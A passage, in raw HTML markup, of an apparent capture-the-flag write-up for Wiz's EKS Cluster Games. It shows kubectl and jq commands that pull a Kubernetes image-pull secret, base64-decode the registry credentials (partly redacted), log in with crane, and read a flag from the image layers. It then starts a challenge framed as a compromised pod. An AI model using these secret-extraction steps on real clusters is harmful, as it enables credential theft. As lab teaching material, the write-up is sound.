style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo that is the secret we need, lets view it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eregistry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auths\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auth\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we've got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeksclustergames:dckr\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edckr\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:35:49\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003einspect the image layers, and uncover the hidden secret.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRemember: You are running inside a compromised EKS pod.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that its on ECR and\nthat we are in the pod itself it makes me believe we'll have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst lets check what pods we are working with:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 